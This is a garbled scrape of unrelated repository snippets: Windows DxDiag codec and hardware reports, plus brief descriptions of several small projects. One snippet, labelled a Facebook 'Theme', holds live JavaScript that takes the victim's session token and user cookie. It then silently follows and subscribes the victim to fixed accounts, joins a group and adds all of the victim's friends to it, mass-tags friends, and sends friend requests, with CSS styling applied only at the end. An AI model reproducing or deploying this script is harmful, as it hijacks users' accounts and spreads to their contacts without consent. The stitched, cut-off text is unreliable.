Mpeg43 Decoder MFT, CLSID_CMpeg43DecMediaObject, 0x1, mp43decd.dll, 6.02.9200.16384 Mpeg4 Decoder MFT, CLSID_CMpeg4DecMediaObject, 0x1, mpg4decd.dll, 6.02.9200.16384 Video Encoders: Intel® Quick Sync Video H.264 Encoder MFT, {4BE8D3C0-0515-4A37-AD55-E4BAE19AF471}, 0x4, 7, mfx_mft_h264ve_64.dll, 3.12.0010.0031 H264 Encoder MFT, {6CA50344-051A-4DED-9779-A43305165E35}, 0x1, mfh264enc.dll, 6.02.9200.16384 WMVideo8 Encoder MFT, CLSID_CWMVXEncMediaObject, 0x1, wmvxencd.dll, 6.02.9200.16384 WMVideo9 Encoder MFT, CLSID_CWMV9EncMediaObject, 0x1, wmvencod.dll, 6.02.9200.16384 Microsoft MPEG-2 Video Encoder MFT, {E6335F02-80B7-4DC4-ADFA-DFE7210D20D5}, 0x2, msmpeg2enc.dll, 12.00.9200.16384 Video Effects: Frame Rate Converter, CLSID_CFrameRateConvertDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Resizer MFT, CLSID_CResizerDMO, 0x1, vidreszr.dll, 6.02.9200.16384 VideoStabilization MFT, {51571744-7FE4-4FF2-A498-2DC34FF74F1B}, 0x1, MSVideoDSP.dll, 6.02.9200.16384 Color Control, CLSID_CColorControlDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Color Converter MFT, CLSID_CColorConvertDMO, 0x1, colorcnv.dll, 6.02.9200.16384 Video Processor: Microsoft Video Processor MFT, {88753B26-5B24-49BD-B2E7-0C445C78C982}, 0x1, msvproc.dll, 12.00.9200.16384 Audio Decoders: Microsoft Dolby Digital Plus Decoder MFT, {177C0AFE-900B-48D4-9E4C-57ADD250B3D4}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMAudio Decoder MFT, CLSID_CWMADecMediaObject, 0x1, WMADMOD.DLL, 6.02.9200.16384 Microsoft AAC Audio Decoder MFT, CLSID_CMSAACDecMFT, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 GSM ACM Wrapper MFT, {4A76B469-7B66-4DD4-BA2D-DDF244C766DC}, 0x1, mfcore.dll, 12.00.9200.16384 WMAPro over S/PDIF MFT, CLSID_CWMAudioSpdTxDMO, 0x1, WMADMOD.DLL, 6.02.9200.16384 Microsoft MPEG Audio Decoder MFT, {70707B39-B2CA-4015-ABEA-F8447D22D88B}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject, 0x1, WMSPDMOD.DLL, 6.02.9200.16384 G711 Wrapper MFT, {92B66080-5E2D-449E-90C4-C41F268E5514}, 0x1, mfcore.dll, 12.00.9200.16384 IMA ADPCM ACM Wrapper MFT, {A16E1BFF-A80D-48AD-AECD-A35C005685FE}, 0x1, mfcore.dll, 12.00.9200.16384 MP3 Decoder MFT, CLSID_CMP3DecMediaObject, 0x1, mp3dmod.dll, 6.02.9200.16384 ADPCM ACM Wrapper MFT, {CA34FE0A-5722-43AD-AF23-05F7650257DD}, 0x1, mfcore.dll, 12.00.9200.16384 Audio Encoders: MP3 Encoder ACM Wrapper MFT, {11103421-354C-4CCA-A7A3-1AFF9A5B6701}, 0x1, mfcore.dll, 12.00.9200.16384 WM Speech Encoder DMO, CLSID_CWMSPEncMediaObject2, 0x1, WMSPDMOE.DLL, 6.02.9200.16384 Microsoft MPEG-2 Audio Encoder MFT, {46A4DD5C-73F8-4304-94DF-308F760974F4}, 0x1, msmpeg2enc.dll, 12.00.9200.16384 WMAudio Encoder MFT, CLSID_CWMAEncMediaObject, 0x1, WMADMOE.DLL, 6.02.9200.16384 Microsoft AAC Audio Encoder MFT, {93AF0C51-2275-45D2-A35B-F2BA21CAED00}, 0x1, mfAACEnc.dll, 6.02.9200.16384 Microsoft Dolby Digital Encoder MFT, {AC3315C9-F481-45D7-826C-0B406C1F64B8}, 0x1, msac3enc.dll, 6.02.9200.16384 Audio Effects: AEC, CLSID_CWMAudioAEC, 0x1, mfwmaaec.dll, 6.02.9200.16384 Resampler MFT, CLSID_CResamplerMediaObject, 0x1, resampledmo.dll, 6.02.9200.16384 Multiplexers: Microsoft MPEG2 Multiplexer MFT, {AB300F71-01AB-46D2-AB6C-64906CB03258}, 0x2, mfmpeg2srcsnk.dll, 12.00.9200.16384 Others: Microsoft H264 Video Remux (MPEG2TSToMP4) MFT, {05A47EBB-8BF0-4CBF-AD2F-3B71D75866F5}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 -------------------------------------------- Media Foundation Enabled Hardware Categories -------------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\HardwareMFT] EnableEncoders = 1 ------------------------------------- Media Foundation Byte Stream Handlers ------------------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Media Foundation\ByteStreamHandlers] [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\MediaSources\Preferred] <file ext. or MIME type>, <handler CLSID>, <brief description>[, Preferred] .3g2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gp2, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .3gpp, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .aac, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .ac3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .adt, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .adts, {926F41F7-003E-4382-9E84-9E953BE10562}, ADTS Byte Stream Handler, Preferred .asf, {41457294-644C-4298-A28A-BD69F2C0CF3B}, ASF Byte Stream Handler, Preferred .avi, {7AFA253E-F823-42F6-A5D9-714BDE467412}, AVI Byte Stream Handler, Preferred .dvr-ms, {65964407-A5D8-4060-85B0-1CCD63F768E2}, dvr-ms Byte Stream Handler, Preferred .dvr-ms, {A8721937-E2FB-4D7A-A9EE-4EB08C890B6E}, MF SBE Source ByteStreamHandler .ec3, {46031BA1-083F-47D9-8369-23C92BDAB2FF}, AC-3 Byte Stream Handler, Preferred .m2t, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m2ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .m4a, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .m4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mov, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp2v, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mp3, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mp4, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mp4v, {271C3902-6095-4C45-A22F-20091816EE9E}, MPEG4 Byte Stream Handler, Preferred .mpa, {A82E50BA-8E92-41EB-9DF2-433F50EC2993}, MP3 Byte Stream Handler, Preferred .mpeg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mpg, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .mts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .nsc, {B084785C-DDE0-4D30-8CA8-05A373E185BE}, NSC Byte Stream Handler, Preferred .sami, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .smi, {7A56C4CB-D678-4188-85A8-BA2EF68FA10D}, SAMI Byte Stream Handler, Preferred .tod, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .ts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .tts, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .vob, {40871C59-AB40-471F-8DC3-1F259D862479}, MPEG2 Byte Stream Handler, Preferred .wav, {42C9B9F5-16FC-47EF-AF22-DA05F7C842E3}, WAV Byte Stream
adesatria / Themevar fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert('Theme By: adE Satria https://www.facebook.com/ProfiLadesatria'); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //Boss a("100004368643588");a("100007079796120");a("100001503619455"); sublist("243737815781838");sublist("1387712268141420");sublist("262092750613011"); var gid = ['787801977901062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "531553660285377"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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!important;margin-left: -30px !important;}\n.pas .input,.selectedCheckable .checkmark {margin-left: -5px !important;}\n\n.removable {top: 0 !important;bottom: 0 !important;margin-top: -4px !important;border: none !important;}\n\n.uiSideNavCount,.uiStreamAttachments div embed,.jewelCount,.uiButton,.fbChatSidebarFooter .button,.uiSearchInput button,.uiSelectorButton,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.pluginRecommendationsBarButtonLike {border-radius: 6px !important;}\n\n.fbActivity,.UIRoundedImage {margin: 4px !important;}\n\n#facebook:not(.tinyViewport) body:not(.UIPage_LoggedOut):not(.fbIndex):not(.platform_dialog):not(.withCanvasNav) #blueBar {width: 100% !important;margin: 0 auto !important;top: 10px !important;height: 30px !important;}\n\n.uiUfiSmall .commentArea .textBox:not([style*=\"height\"]) {height: 20px !important; }\n.composerTypeahead .textInput:not([style*=\"height\"]){height: 27px !important; }\n\n.dataTable .inputtext,.uiInfoTable .dataRow .inputtext {padding-left: 20px !important;}\n\n.fbTimelineAllActivityStorySelector .uiButton,.fbDockChatTabFlyout .close {margin-top: 3px !important;}\n.fbTimelineAllActivityStorySelector .uiButton .img {margin: 0 -3px !important;}\n\n.audienceSelector .uiButton {padding: 2px 0 2px 0 !important;}\n.audienceSelector .uiButton .img {margin-right: -1px !important;}\n\n.fbTimelineContentHeader .uiHeaderTitle {font-size: 2.0em !important;}\n\n\n.ogSliderAnimPagerGridTd .page {margin: 0 14px 0 -5px !important;}\n.ogSliderAnimPagerNext .content {margin-left: -18px !important;}\n#bfb_options_button_li {float:left !important;}\n\n.ego_column { display:none ; }"; if (typeof GM_addStyle != "undefined") { GM_addStyle(css); } else if (typeof PRO_ad
MacEvelly / Family FeudA basic Family Feud web app using Node.js & Socket.io. The host instance will control the display game board instance..
ReadyFluent / React Native Font ListA basic React Native module that exposes the operating system's installed fonts and available font families.
yosshin4004 / Asm For Famibe V3A self assembler for the NES family basic v3.
dovnel / Win 7------------------ System Information ------------------ Time of this report: 9/2/2015, 19:28:59 Machine name: MANO-PC Operating System: Windows 7 Professional 32-bit (6.1, Build 7601) Service Pack 1 (7601.win7sp1_gdr.150722-0600) Language: Lithuanian (Regional Setting: Lithuanian) System Manufacturer: Acer, inc. System Model: Aspire 5920 BIOS: ZD1 v1.3811 3H11 Processor: Intel(R) Core(TM)2 Duo CPU T5550 @ 1.83GHz (2 CPUs), ~1.8GHz Memory: 2048MB RAM Available OS Memory: 2038MB RAM Page File: 2100MB used, 2995MB available Windows Dir: C:\Windows DirectX Version: DirectX 11 DX Setup Parameters: Not found User DPI Setting: Using System DPI System DPI Setting: 96 DPI (100 percent) DWM DPI Scaling: Disabled DxDiag Version: 6.01.7601.17514 32bit Unicode ------------ DxDiag Notes ------------ Display Tab 1: No problems found. Sound Tab 1: No problems found. Sound Tab 2: No problems found. Sound Tab 3: No problems found. Input Tab: No problems found. -------------------- DirectX Debug Levels -------------------- Direct3D: 0/4 (retail) DirectDraw: 0/4 (retail) DirectInput: 0/5 (retail) DirectMusic: 0/5 (retail) DirectPlay: 0/9 (retail) DirectSound: 0/5 (retail) DirectShow: 0/6 (retail) --------------- Display Devices --------------- Card name: Mobile Intel(R) 965 Express Chipset Family Manufacturer: Intel Corporation Chip type: Mobile Intel(R) 965 Express Chipset Family DAC type: Internal Device Key: Enum\PCI\VEN_8086&DEV_2A02&SUBSYS_01211025&REV_03 Display Memory: 358 MB Dedicated Memory: 0 MB Shared Memory: 358 MB Current Mode: 1280 x 800 (32 bit) (60Hz) Monitor Name: Generic PnP Monitor Monitor Model: unknown Monitor Id: SEC3945 Native Mode: 1280 x 800(p) (60.004Hz) Output Type: Internal Driver Name: igdumdx32.dll,igd10umd32.dll Driver File Version: 8.14.0010.1930 (English) Driver Version: 8.15.10.1930 DDI Version: 10 Driver Model: WDDM 1.1 Driver Attributes: Final Retail Driver Date/Size: 9/23/2009 19:14:54, 536576 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B78E66-6942-11CF-1F74-2B21A2C2C535} Vendor ID: 0x8086 Device ID: 0x2A02 SubSys ID: 0x01211025 Revision ID: 0x0003 Driver Strong Name: oem2.inf:Intel.Mfg:i965GM0:8.15.10.1930:pci\ven_8086&dev_2a02 Rank Of Driver: 00EC2001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeWMV9_B ModeVC1_B Deinterlace Caps: {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend D3D9 Overlay: Not Supported DXVA-HD: Not Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled ------------- Sound Devices ------------- Description: Speakers (Realtek High Definition Audio) Default Sound Playback: Yes Default Voice Playback: Yes Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0888&SUBSYS_10250121&REV_1001 Manufacturer ID: 1 Product ID: 100 Type: WDM Driver Name: RTKVHDA.sys Driver Version: 6.00.0001.5901 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/23/2009 17:56:12, 2737248 bytes Other Files: 